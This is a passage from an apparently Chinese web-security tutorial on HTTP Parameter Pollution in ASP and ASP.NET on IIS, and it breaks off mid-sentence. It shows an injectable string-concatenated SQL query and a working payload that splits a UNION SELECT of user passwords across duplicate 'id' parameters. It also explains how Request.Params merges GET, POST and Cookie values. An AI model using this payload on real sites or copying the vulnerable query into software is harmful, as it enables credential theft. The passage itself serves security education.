0x02 被遗忘的复参攻击. 大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下: 用GET请求传入两个t参数 GET http://192.168.239.129/1.asp?t=1&t=2 将返回 Request:1, 2 asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法: Vulnerable code: [size=1em][size=1em]1 | SQL="select key from table where id="+Request.QueryString("id") |
[size=1em]
[size=1em]3 | This request is successfully performed using the HPP technique: |
[size=1em]
[size=1em]5 | /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users |
[size=1em]
[size=1em]7 | The SQL request becomes: |
[size=1em]
[size=1em]9 | select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan |
我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句。 0x03 高级复参攻击.ASP.NET的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以修改0x01里的例子测试一下: 使用asp.net的Request.Params方法接收t参数传值 [size=1em][size=1em]1 | <%@ Page Language="C#" %> |
[size=1em]
[size=1em]3 | string test = Request.Params["t"]; |
[size=1em]4 | Response.Write("Request:"+test); |
[size=1em]
发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容 [size=1em][size=1em]
[size=1em]
[size=1em]
[size=1em]
[size=1em]
结果返回 Request:1,3,2 最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0x02的复参攻 |